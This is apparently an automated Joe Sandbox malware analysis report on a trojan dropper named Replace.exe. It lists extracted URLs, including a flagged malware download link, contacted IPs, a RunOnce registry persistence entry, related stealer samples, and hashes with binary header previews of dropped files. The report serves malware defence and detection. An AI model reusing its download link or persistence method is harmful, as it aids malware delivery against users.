http://www.squid-cache.org/Doc/config/half_closed_clients/	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-DecimalEscape	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ClassControlLetter	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://stackoverflow.com/a/5501711/3561	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-CharacterClassEscape	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
http://narwhaljs.org)	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	low
https://www.ecma-international.org/ecma-262/#sec-promise.all	node.exe, 0000000F.00000002.2913751697.0000000001801000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2922785102.0000000004240000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2263968941.000000002C540000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000001801000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://files.nflxso.ca/downloads/winapp/latest-installer.exe3	rundll32.exe, 00000007.00000002.2229301918.0000000002F2A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.image-line.com/action/redirect/FLStudioAuthentication?username=%s&password=%s&flags=	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://code.google.com/p/chromium/issues/detail?id=25916	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
http://crl.securetrust.com/STCA.crl	node.exe, 0000000F.00000002.2921222937.0000000001FE7000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.accv.es/legislacion_c.htmICATE-----F	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cert.fnmt.es/dpcs/	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nodejs.org/download/release/v12.22.12/node-v12.22.12-headers.tar.gz	node.exe, 0000001E.00000002.2323547377.0000000013D1A000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/12607	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://support.image-line.com/redirect/me	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	URL Reputation: safe	unknown
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl	node.exe, 0000000F.00000002.2922964130.00000000042D7000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp, node.exe, 0000000F.00000003.2451444266.00000000042D7000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.accv.es00	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecma-international.org/ecma-262/#sec-line-terminators	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://api.soundcloud.com/connect	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://files.nflxso.ca/downloads/winapp/latest-installer.exe-	rundll32.exe, 0000000A.00000003.2261300042.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000A.00000002.2284164999.0000000002E2B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.ecma-international.org/ecma-262/8.0/#prod-Pattern	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://nodejs.org/download/release/t	node.exe, 00000017.00000002.2261157825.0000000021DE2000.00000004.00001000.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	low
https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gzk	node.exe, 0000000F.00000002.2921222937.0000000001F88000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sourcemaps.info/spec.html	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	URL Reputation: safe	unknown
https://support.image-line.com/member/regcode.php?inapp=1UH	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nodejs.org/download/release/v12.22.12/win-x86/node.libLy	node.exe, 0000000F.00000003.2238553183.0000000032CA2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://invisible-island.net/xterm/ctlseqs/ctlseqs.html	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://github.com/nodejs/node/pull/12342	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://bugs.chromium.org/p/v8/issues/detail?id=6593	node.exe, 0000000F.00000002.2913751697.0000000001801000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2922785102.0000000004240000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2263968941.000000002C540000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000001801000.00000040.00000001.01000000.0000000C.sdmp	false		high
http://www.unicode.org/copyright.html	node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://github.com/v8/v8/blob/d6ead37d265d7215cf9c5f768f279e21bd170212/src/js/prologue.js#L152-L156	node.exe, 0000000F.00000002.2913751697.0000000001801000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 0000000F.00000002.2922785102.0000000004240000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2263968941.000000002C540000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000017.00000002.2240618921.0000000001801000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://support.image-line.com/api.php?call=product_description_inapp&callback=il_product_descriptio	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.firmaprofesional.com/cps0	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/34375	node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://www.ecma-international.org/ecma-262/8.0/#prod-annexB-ExtendedAtom	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
http://.css	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	low
http://crl.securetrust.com/SGCA.crl0	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlF	node.exe, 0000000F.00000002.2923728743.00000000043EE000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.image-line.com/	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://heycam.github.io/webidl/#dfn-default-iterator-object	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	URL Reputation: safe	unknown
https://heycam.github.io/webidl/#es-iterable-entries	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	URL Reputation: safe	unknown
https://nodejs.org/download/release/v12.22.12/node-v12.22.12.tar.gzd	node.exe, 00000017.00000002.2261157825.0000000021DE2000.00000004.00001000.00020000.00000000.sdmp	false		high
https://heycam.github.io/webidl/#es-interfaces	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false	URL Reputation: safe	unknown
https://support.image-line.com/redirect/FLStudio%sHelp	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.image-line.com/flstudio/callback.html	run.exe, 00000002.00000003.1768566979.0000019819FC7000.00000004.00000020.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high
https://github.com/nodejs/node/issues	node.exe, 0000000F.00000002.2913751697.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp, node.exe, 00000017.00000002.2240618921.0000000000E01000.00000040.00000001.01000000.0000000C.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.152.151	files.nflxso.ca	United States	13335	CLOUDFLARENETUS	true
142.251.16.147	www.google.com	United States	15169	GOOGLEUS	false
172.253.122.101	plus.l.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
74.201.73.52	register.nflxso.ca	United States	63018	DEDICATEDUS	false
172.253.62.104	unknown	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1434556
Start date and time:	2024-05-01 11:07:15 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	52
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Replace.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@90/28@11/7
EGA Information:	Successful, ratio: 72.7%
HCA Information:	Successful, ratio: 99% Number of executed functions: 205 Number of non-executed functions: 154
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.253.115.94, 142.251.163.138, 142.251.163.139, 142.251.163.113, 142.251.163.101, 142.251.163.100, 142.251.163.102, 172.253.115.84, 34.104.35.123, 172.253.62.94, 23.207.202.41, 192.229.211.108, 64.233.180.94, 172.253.62.101, 172.253.62.113, 172.253.62.102, 172.253.62.139, 172.253.62.138, 172.253.62.100
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com
Execution Graph export aborted for target node.exe, PID 3912 because there are no executed function
Execution Graph export aborted for target node.exe, PID 5328 because there are no executed function
Execution Graph export aborted for target node.exe, PID 8296 because there are no executed function
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:08:56	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce InetHelper "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
10:09:04	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce InetHelper "C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe"
11:08:04	API Interceptor	3x Sleep call for process: rundll32.exe modified
11:08:53	API Interceptor	10x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	https://www.allemania.ro/xbegtx/?77562981	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.Evo-gen.14997.5526.exe	Get hash	malicious	Unknown	Browse
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse
	bad.html	Get hash	malicious	Unknown	Browse
	https://thaksaubie.com/	Get hash	malicious	Unknown	Browse
	24314_DellFW_UPGRADE_DOCK_UTILITY_v1.2.exe	Get hash	malicious	Unknown	Browse
	https://u44194017.ct.sendgrid.net/ls/click?upn=u001.DFVMuW4-2FEZd5YVb67fax3vlta-2FCThF5DL5AiBOKSuCQ0EGblKsjjwZ6OyBnFJ1r0moLWoXz-2FxMe7b-2Fl8d95-2BzQZm5sEfp0OhOo7B3jcXBv-2BgE3OtXGpSU6X45OZo1Nrxk2IftEiMrIOyVB56ojuhdoJljt5g2SSHyY7oPkJJgIc8WZfAGQwKIBDDb5RgJUJQ66qTgciuugoqvdSYhCxYJC1tgX93eAUNOEu10Nm7b0U-3DknVp_7tKkve0pPj06aVCwrllSgRRNXKtXxcU59nMcisLNciFJdA-2BcFyVeCwSnhI-2BRdQ1qFfxu7tK4pt-2FudMGWFIdmDbcopC0QM1U4rVigQkZdCnBEZMNAr3v7VDeciiUe7Q0Ot-2FxmcDN99buzfdPKtuJBA-2BhqOF-2BxjX9XlNsaEZDFjTkWHyxaBFOX5Dme9fmey6KiIaeINCkVXw-2Bxc1n6NEs1rw-3D-3D	Get hash	malicious	Unknown	Browse
	attachment.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse
	171454686603a18a555a7edce5c88a8af9597443cf22f96b4668e6805cbdd7fb34b4026c9d600.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse
	citat-05012024.xla.xlsx	Get hash	malicious	Unknown	Browse
74.201.73.52	file.exe	Get hash	malicious	Glupteba, GuLoader, Socks5Systemz, Stealc	Browse
	file.exe	Get hash	malicious	Fabookie	Browse
	file.exe	Get hash	malicious	Fabookie, Glupteba, Stealc	Browse
	file.exe	Get hash	malicious	HTMLPhisher, Fabookie, Glupteba, GuLoader, Stealc	Browse
	file.exe	Get hash	malicious	HTMLPhisher, Fabookie, Glupteba, Stealc	Browse
	file.exe	Get hash	malicious	HTMLPhisher, Fabookie, GuLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	HTMLPhisher, Fabookie, Glupteba, Stealc	Browse
	file.exe	Get hash	malicious	Glupteba, Socks5Systemz, Vidar	Browse
	file.exe	Get hash	malicious	Glupteba, Socks5Systemz, Vidar	Browse
	Syutqxpe7O.exe	Get hash	malicious	Glupteba, Vidar	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://www.allemania.ro/xbegtx/?77562981	Get hash	malicious	Unknown	Browse	1.1.1.1
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	104.21.91.248
	AUv7vVtT8i.exe	Get hash	malicious	Lokibot	Browse	104.21.13.124
	https://thaksaubie.com/	Get hash	malicious	Unknown	Browse	104.21.2.253
	24314_DellFW_UPGRADE_DOCK_UTILITY_v1.2.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
	QF3YL9rOxB.rtf	Get hash	malicious	AgentTesla	Browse	104.21.84.67
	attachment.xlam.xlsx	Get hash	malicious	AgentTesla, PureLog Stealer, RedLine	Browse	104.26.13.205
	GENERALCANDY INV FWDRB42024.doc	Get hash	malicious	Lokibot	Browse	172.67.134.136
	citat-05012024.xla.xlsx	Get hash	malicious	Unknown	Browse	172.67.206.230
	VOrqSh1Fts.exe	Get hash	malicious	Neoreklami, PureLog Stealer	Browse	104.21.4.208
DEDICATEDUS	x1b5bmJgLm.elf	Get hash	malicious	Unknown	Browse	200.220.163.225
	0FnrrE8B6Y.elf	Get hash	malicious	Mirai	Browse	168.81.61.232
	D2M15lCoQK.elf	Get hash	malicious	Mirai	Browse	45.74.57.45
	CGlwOBF2cH.elf	Get hash	malicious	Unknown	Browse	45.74.57.32
	SecuriteInfo.com.Win32.Trojan.CobaltStrike.4EYNH5.5772.17622.dll	Get hash	malicious	CobaltStrike	Browse	64.42.181.227
	VlkShT2TjD.elf	Get hash	malicious	Gafgyt	Browse	172.83.131.72
	Enrollment PO, from United Way of the Midlands.eml	Get hash	malicious	Unknown	Browse	216.105.168.10
	9Dcya2QOaQ.elf	Get hash	malicious	Mirai	Browse	14.1.28.237
	file.exe	Get hash	malicious	Glupteba, GuLoader, Socks5Systemz, Stealc	Browse	74.201.73.52
	file.exe	Get hash	malicious	Fabookie	Browse	74.201.73.52

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	SecuriteInfo.com.Win32.Evo-gen.14997.5526.exe	Get hash	malicious	Unknown	Browse	23.221.242.90 13.85.23.86
	https://smart-doc.ontralink.com/c/s/6jUq/6u7/6/2/v/6A6CqU/UUcaCU2l1B/P/P/e	Get hash	malicious	HTMLPhisher	Browse	23.221.242.90 13.85.23.86
	bad.html	Get hash	malicious	Unknown	Browse	23.221.242.90 13.85.23.86
	https://thaksaubie.com/	Get hash	malicious	Unknown	Browse	23.221.242.90 13.85.23.86
	171454686603a18a555a7edce5c88a8af9597443cf22f96b4668e6805cbdd7fb34b4026c9d600.dat-decoded.exe	Get hash	malicious	AgentTesla	Browse	23.221.242.90 13.85.23.86
	file.exe	Get hash	malicious	Unknown	Browse	23.221.242.90 13.85.23.86
	http://www.babeleye.com	Get hash	malicious	Unknown	Browse	23.221.242.90 13.85.23.86
	file.exe	Get hash	malicious	Unknown	Browse	23.221.242.90 13.85.23.86
	Specification 1223.vbs	Get hash	malicious	AgentTesla	Browse	23.221.242.90 13.85.23.86
	DHL Express shipment delivery doc pdf.exe	Get hash	malicious	FormBook	Browse	23.221.242.90 13.85.23.86
a0e9f5d64349fb13191bc781f81f42e1	WlCIinu0yp.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer, RedLine, RisePro Stealer, Socks5Systemz, Vidar, zgRAT	Browse	172.67.152.151
	Invoice-939713625-008-5283127-8901604.js	Get hash	malicious	Unknown	Browse	172.67.152.151
	Inquiry HA-22-28199 22-077.xlsx	Get hash	malicious	Unknown	Browse	172.67.152.151
	QR#Uff7a#Uff70#Uff84#Uff9e#U4f5c#U6210#Uff74#Uff78#Uff7e#Uff99.xlsb.xlsx	Get hash	malicious	Unknown	Browse	172.67.152.151
	SecuriteInfo.com.FileRepMalware.10290.11280.exe	Get hash	malicious	Unknown	Browse	172.67.152.151
	SecuriteInfo.com.FileRepMalware.10290.11280.exe	Get hash	malicious	Unknown	Browse	172.67.152.151
	VPPAllow.exe	Get hash	malicious	Unknown	Browse	172.67.152.151
	VPPAllow.exe	Get hash	malicious	Unknown	Browse	172.67.152.151
	file.exe	Get hash	malicious	Clipboard Hijacker, RisePro Stealer	Browse	172.67.152.151
	file.exe	Get hash	malicious	LummaC	Browse	172.67.152.151

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe	z5i6tLOUD0.exe	Get hash	malicious	Raccoon Stealer v2	Browse

Created / dropped Files

C:\Program Files\Image-Line\FL Studio 20\FL64.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	294584
Entropy (8bit):	6.743710084630691
Encrypted:	false
SSDEEP:	6144:gcwjo+g91cs3mfzsIohx4rrZtj7QfGZ7uOs:gcao3R2fzdou3jjZ7uOs
MD5:	8D4AEE53F9D6EA4A47DC73EDD78DCEF0
SHA1:	4D12D67EDD64877831DEA463CE67C42EBCA6E0AE
SHA-256:	6CFC98D1FFCDB983E64BEAC75CCDE7D873E3C41FFFDE2F4D87DD0757EB5A620D
SHA-512:	54EAA03F18BCCADDB04A8DD7127F1E9CE8EEFAF1141E3B8684E7F6BBDCC45AA60AA276467F1DF9BD361D0AC8C8DE398959BE18BF2E387DCE34550716E44599EC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 1%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............................Z...................................y..K.....K.'......O....K.....Rich...........................PE..d....I~b..........".................4Q.........@....................................$.....@.....................................................x...............4....^... ......\....u...............................u..8...............X............................text............................... ..`.rdata..H...........................@..@.data....%..........................@....pdata..4...........................@..@_RDATA..............................@..@.rsrc...............................@..@.reloc..\............V..............@..B........................................................................................................................................................................................

C:\Program Files\Image-Line\FL Studio 20\FLEngine_x64.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	50859192
Entropy (8bit):	7.541115142114078
Encrypted:	false
SSDEEP:	786432:bol/RBJt80hHNghhydfhuVt/m1f1GFxVDOpoFZb3daUIOGB3:y/RBJ2QNgvybuj/m6NFZb1G
MD5:	E577EF3CFADBB80C6AF8F37BF6E62F70
SHA1:	C27F57E17539F09CEC7B47C223DFA8EA54B851FE
SHA-256:	60392A436109F0B236C2B26CCAF677F3E0E0BD338AEC35A6495C0A25F73E3F15
SHA-512:	A1FA8BB2E148E76E2CCEDFED94D8C93841E086821FE258ADB931F12A1685BF2F5B5A9A131AECE81B18441FDB48112C5F5C914E49A8C689138333FF0C427BCA49
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 6%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7........PE..d....H~b.........." ....."....A.....].........@..............................0......o................................ ...............`...............0...........@....... ...0.......................................................P...... ...@....................text....!.......".................. ..`.data........@.......&..............@....bss....p................................idata...e.......f..................@....didata.z....@.......>..............@....edata.......`.......P..............@..@.rdata..E....p.......R..............@..@.xda0................T..............@..@.pdata...............R..............@..@.xda1...b............J.............. ..`.xda2........P......................@....xda3.......p.......4..............`..h.reloc.......0......................@..@.rsrc........0......................@..@....@..@........................................

C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\cleaner.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\wnsA071.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.102419828599722
Encrypted:	false
SSDEEP:	48:6EuTWvVUSOmj4g7pDU2MeUkCevHr8IDPrOq81vj/bEGf2dz:r93OSnMe33r3kcNdz
MD5:	E9DED10DFF258F6522FE9079ED3319CA
SHA1:	B0127EA7675F6359BFA80A7BF6282BD1C989B405
SHA-256:	EA1D61984EDE5908E0840E91A71BB127EFD62D836C1F76702B426FD79B57F780
SHA-512:	D95482D3CF50B37E999E3F91377BD41A215F3F0C55C9F3E47FC9C563B9CD3F5C5EE945878889A8147B9F089005826CE81398172395D0107DC14EB8FEFC0D36DE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 73%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z.}c............................}........ ....@..........................@............@.................................t"..P............................0..p.................................................... ..p............................text...J........................... ..`.rdata....... ......................@..@.reloc..p....0......................@..B................QSUVW.\|$.3...~..t$...v..6..L @...Y...u.C.j.P..\ @...YY..~7.D$.....D$..0..L @....D$...6Q.0..kQ..h @..D$ .......u._^]..[Y.......$....SUVWh....P3.S..0 @.SS.D$xP..$....P..$....P..d @......$ @.hp @.P..X @.Y...D$tY......h\| @.P..$....Pj..........D$.Sj...@ @..,.....W..$....SP..P @......$......$....PV.. @.... @..........-` @...$....h\| @.P..YY..uS..$....Ph......< @....D$......D$.P..$....Pj.W... @..t$...$....P..YY..u.j.W.., @.W...$....PV..D @...u.V...v...h. @.P..$....Ph. @.j...........

C:\Users\user\AppData\Local\Microsoft\Windows\InetHelper\node.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\wnsA071.tmp
File Type:	PE32 executable (console) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	6887560
Entropy (8bit):	7.995378654994156
Encrypted:	true
SSDEEP:	196608:QLqzi3tI29TS60FIEPgaJzR1VOoaOVxRtx:QLqzi3XT0uEp/ooaWzx
MD5:	5F40521D2E1082FE1C734610C4A83911
SHA1:	86D54874CC8976CDB75A9DC8DCD817AF50837796
SHA-256:	79AC7AE94231A392D27F303418E305A60C4194DBBE143C5DEFFC977C7B2E7A78
SHA-512:	EF2B54B46844CFB13CFDEF6271E2A8B4E646D2E31CA55229E5C76CA90C649895533BC8FB83C4D50DD3721ABB2A5E4C5EE32DF5C4540E1C14498A5E9B550D3189
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: z5i6tLOUD0.exe, Detection: malicious, Browse
